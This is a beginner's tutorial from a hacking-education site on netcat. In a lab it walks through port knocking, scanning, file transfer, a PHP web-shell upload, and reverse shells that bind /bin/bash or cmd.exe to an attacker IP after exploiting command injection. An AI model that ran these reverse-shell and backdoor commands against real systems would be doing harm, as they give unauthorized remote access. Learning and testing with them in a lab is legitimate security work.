From Wikipedia
In the field of hacking most utilized and powerful tool use by attack is popularly known as “Netcat” which is a computer networking function for analyzing from and writing to network connections using TCP or UDP. Netcat is designed to be a dependable back-end that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool; since it can create almost any kind of connection its user could need and has a number of built-in capabilities.
Netcat is at the same time very easy and multipurpose, it’s like trying to explain everything you can do with your Swiss Army knife.
For examples:-
- Banner garbing
- Bind shell (backdoor)
- Chatting
- File uploading and downloading
- Port scanning
- Port knocking
- Port forwarding
- Show webserver HTTP file contents
There are so many options inside netcat to enhance it function and effect when you will type nc –h in terminal of kali Linux. Before getting inside its working details you must aware of that here we had use two system one as attacker another as target system.
Let’s begin
Port Knocking
Open the terminal of your kali Linux and type following command which contains target’s IP and target port number.
Nc 192.168.1.21 2222
So when the given command will be executed it will tell about hidden running service through knocking the port, from given below image you can observe that port 2222 is open for SSH.
Reverse Shell
Mainly attacker use netcat as backdoor for making unauthorized accessing target’s system, in this an attacker activates listening port (random port) when scan any vulnerable target .
nc -e /bin/bash 192.168.1.21 4444
Above command will be waiting for reverse connect from victim’s system.
In given screenshot you can see the running web site is suffering from os command injection vulnerability now use nc –e /bin/bash 192.168.1.21 4444 to establish connection between victim and attacker’s system which will allow unauthorized access by creating backdoor.
Here you can see successfully we have (attacker) access victim’s shell through netcat.
Netcat as a Backdoor
Download netcat.exe for windows and type following command
Nc.exe 192.168.1.21 4444 –e cmd.exe
From given screenshot you can perceive that attacker successfully get connected with windows client through netcat
nc -lvp 4444
File Upload Exploitation
We will look how an attacker can exploit file upload vulnerability through netcat shell. From given image it is clear that the targeted webserver allow its client to upload an image.
For uploading we have use php-reverse-shell.php instead of image which a php backdoor. Open this web shell for editing listener IP i.e. your kali Linux IP (192.168.1.21) and then activate netcat using following command which will wait for establishing reverse connection with victim’s system.
nc -lvp 1234
Now after uploading your php backdoor inside web server and execute the file which will connect the victim’s system from attacker machine.
Hence you can see attacker successfully made unauthorized access through netcat shell.
HTTP Request
Use Netcat to fetch web page information from a webserver. With Netcat you can search out the full HTTP header so you can see running particular site in web server. Now type following command that make a connection to port 80.
nc 192.168.1.11 80
OPTIONS / HTTP/1.0
From screenshot you can read the detail of http header of the targeted web site.
Port Scanning
Netcat can also scan the TPC & UDP port hence it can be use in the place of NMAP which will tell us about open and close port of the targeted IP
The following command shows target IP and port range
-z:zero-I/O mode [used for scanning]
-w:timeout for connects and final net reads
-v:-v verbose
-l:listen mode, for inbound connects
-n:numeric-only IP addresses,
From resultant image you can see open ports with running services.
Chatting
Netcat is also used for the chatting from between two systems. We require putting together the Netcat to listen on a specific port on both system and connect to specific address.
nc -lvp 5678
nc 192.168.1.21 5678
Hi
How are you
Visit www.hackingarticles.in
File Transfer
As you know in windows we have download netcat.exe file now here I had use it for uploading a text file t.txt on targeted system through specific port.
nc 192.168.1.21 5555 < t.txt
Now receiver can download that t.txt file by giving similar port number that will establish connection between both systems.
nc -lvp 5555 > /root/Desktop/t.txt
Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here
The post Netcat Tutorials for Beginner appeared first on Hacking Articles.